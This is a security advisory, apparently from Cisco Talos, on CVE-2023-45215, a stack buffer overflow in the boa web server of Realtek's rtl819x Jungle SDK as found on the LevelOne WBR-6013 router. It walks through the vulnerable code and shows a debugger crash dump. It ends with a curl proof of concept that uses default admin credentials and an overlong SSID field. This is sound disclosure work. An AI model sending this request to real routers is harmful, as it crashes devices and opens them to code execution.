CVE-2023-45215
A stack-based buffer overflow vulnerability exists in the boa setRepeaterSsid functionality of Realtek rtl819x Jungle SDK v3.4.11. A specially crafted series of network requests can lead to arbitrary code execution. An attacker can send a sequence of requests to trigger this vulnerability.
The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.
LevelOne WBR-6013 RER4_A_v3411b_2T2R_LEV_09_170623
Realtek rtl819x Jungle SDK v3.4.11
rtl819x Jungle SDK - https://www.realtek.com/en/ WBR-6013 - https://www.level1.com/level1_en/wbr-6013-n300-wireless-router-54069103
7.2 - CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CWE-121 - Stack-based Buffer Overflow
The rtl819x Jungle SDK is an SDK for routers. This SDK uses as web server boa.
This Realtek rtl819x Jungle SDK vulnerability was found while researching the Levelone WBR-6013 router. We are going to explain this vulnerability from the perspective of the WBR-6013 router.
The WBR-6013 router has a web server called boa
. The version used in the device is that of a Realtek SDK that uses boa
. One of the SDK’s API is /boafrm/formWlanSetup
. This API allows modifications of some parameters of the wireless LAN. The function responsible for this API is boa
’s formWlanSetup
:
void formWlanSetup(request *wp, char *path, char *query)
{
[...]
char tmpBuf[256]={0};
int mode=-1;
[...]
tmp_val = wlanHandler(wp, tmpBuf, &mode, wlan_idx);
[...]
}
wlan_idx
is a global variable that is by default 0. Eventually this function will call wlanHandler
.
int wlanHandler(request *wp, char *tmpBuf, int *mode, int wlan_id)
{
[...]
int id;
sprintf(varName, "repeaterEnabled%d", wlan_id);
strVal = req_get_cstream_var(wp, ("lan_ip"), "");
if ((strVal==NULL || strVal[0]==0))
{
int rpt_enabled;
[1] strVal = req_get_cstream_var(wp, varName, "");
if ( !strcmp(strVal, "ON")){
val = 1 ;
}
[...]
if (val == 1) {
sprintf(varName, "repeaterSSID%d", wlan_id);
[2] strVal = req_get_cstream_var(wp, varName, NULL);
if (strVal){
if (wlan_id == 0)
id = MIB_REPEATER_SSID1;
else
id = MIB_REPEATER_SSID2;
[3] setRepeaterSsid(wlan_id, id, strVal);
}
}
[...]
}
[...]
}
This function will fetch at [1]
the repeaterEnabled<wlan_id>
request’s parameter, and if its value is equal to “ON”, the code at [2]
is reached. At [2]
the repeaterSSID<wlan_id>
request parameter is fetched before it is used at [3]
as argument for the setRepeaterSsid
function. Following the setRepeaterSsid
function:
void setRepeaterSsid(int wlanid, int rptid, char *str_ssid)
{
char wlanifStr[10];
char tmpStr[33];
apmib_save_wlanIdx();
sprintf(wlanifStr,"wlan%d-vxd",wlanid);
SetWlan_idx(wlanifStr);
apmib_get(MIB_WLAN_SSID, (void *)tmpStr);
if(strcmp(tmpStr, str_ssid) != 0 && strcmp(str_ssid, tmpStr) != 0)
{
int is_configured = 1;
apmib_set(MIB_WLAN_WSC_CONFIGURED, (void *)&is_configured);
[4] sprintf(tmpStr,"%s",str_ssid);
apmib_set(MIB_WLAN_SSID, (void *)tmpStr);
apmib_set(MIB_WLAN_WSC_SSID, (void *)tmpStr);
apmib_set(rptid, (void *)tmpStr);
}
[...]
}
This function checks if the current MIB_WLAN_SSID
flash entry is different than the provided repeaterSSID<wlan_id>
request parameter. If so, at [4]
the str_ssid
string, corresponding to the repeaterSSID<wlan_id>
request parameter, is copied into a temporary stack buffer that is then used to update the MIB_WLAN_SSID
flash entry.
Because no checks are performed on the size of the repeaterSSID<wlan_id>
request parameter string, a buffer overflow can occur at [4]
in the stack variable tmpStr
in the setRepeaterSsid
function. An attacker could exploit this vulnerability to achieve arbitrary code execution.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────── registers ──────────────────────────────
$zero: 0x00000000 → 0x00000000
$at : 0xfffffff8 → 0xfffffff8
$v0 : 0x004b5a58 → 0x00000000 → 0x00000000
$v1 : 0x00000000 → 0x00000000
$a0 : 0x408000fc → 0x776c616e → 0x776c616e ("wlan"?)
$a1 : 0x80808080 → 0x80808080
$a2 : 0xfefefeff → 0xfefefeff
$a3 : 0x00000000 → 0x00000000
$t0 : 0x00401494 → 0x61706d69 → 0x61706d69 ("apmi"?)
$t1 : 0x3ffad6b8 → 0x00000000 → 0x00000000
$t2 : 0x3ffae068 → 0x005f474c → 0x005f474c
$t3 : 0x00000000 → 0x00000000
$t4 : 0xffffffff
$t5 : 0x3ffe9000 → 0x7f454c46 → 0x7f454c46
$t6 : 0xf0000000 → 0xf0000000
$t7 : 0x00000001 → 0x00000001
$s0 : 0x41414141 → 0x41414141 ("AAAA"?)
$s1 : 0x41414141 → 0x41414141 ("AAAA"?)
$s2 : 0x41414141 → 0x41414141 ("AAAA"?)
$s3 : 0x00000000 → 0x00000000
$s4 : 0x004b0000 → 0x004b0000
$s5 : 0x00450000 → 0x66616c73 → 0x66616c73 ("fals"?)
$s6 : 0x00450000 → 0x66616c73 → 0x66616c73 ("fals"?)
$s7 : 0x00450000 → 0x66616c73 → 0x66616c73 ("fals"?)
$t8 : 0x00000041 → 0x00000041
$t9 : 0x3ffaf1bc → 0x3c1c0003 → 0x3c1c0003
$k0 : 0x00000000 → 0x00000000
$k1 : 0x00000000 → 0x00000000
$s8 : 0x0000005c → 0x0000005c
$pc : 0x41414141 → 0x41414141 ("AAAA"?)
$sp : 0x40800140 → 0x41414141 → 0x41414141 ("AAAA"?)
$hi : 0x00000011 → 0x00000011
$lo : 0x001d2c6d → 0x001d2c6d
$fir : 0x00739300 → 0x00739300
$ra : 0x41414141 → 0x41414141 ("AAAA"?)
$gp : 0x3ffdaa40 → 0x3ffdaa40
────────────────────────────── stack ──────────────────────────────
0x40800140│+0x0000: 0x41414141 → 0x41414141 ← $sp
0x40800144│+0x0004: 0x41414141 → 0x41414141
0x40800148│+0x0008: 0x41000000 → 0x41000000
0x4080014c│+0x000c: 0x00000001 → 0x00000001
0x40800150│+0x0010: 0x00000000 → 0x00000000
0x40800154│+0x0014: 0x00000000 → 0x00000000
0x40800158│+0x0018: 0x00000000 → 0x00000000
0x4080015c│+0x001c: 0x00000000 → 0x00000000
────────────────────────────── code:mips:MIPS32 ──────────────────────────────
[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x41414140
────────────────────────────── threads ──────────────────────────────
[#0] Id 1, stopped 0x41414141 in ?? (), reason: SIGSEGV
To use a specific API of the web server, because of a CSRF protection mechanism, it is necessary to load the HTML page that would call that API:
curl --user admin:admin http://<DEVICE_IP>/wlbasic.htm &>/dev/null
After this request it is possible to use the /boafrm/formWlanSetup
API:
curl -d "repeaterEnabled0=ON&repeaterSSID0=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" -X POST -H "Content-Type: application/x-www-form-urlencoded" --user admin:admin http://<DEVICE_IP>/boafrm/formWlanSetup
After the request the boa
process will crash. The POC uses the default admin credentials.
Realtek has provided updates software to their customers. LevelOne has declined to patch the issues in their software.
2023-12-14 - Initial Vendor Contact
2023-12-22 - Vendor Disclosure
2024-05-20 - Vendor Patch Release
2024-07-08 - Public Release
Discovered by Francesco Benvenuto of Cisco Talos.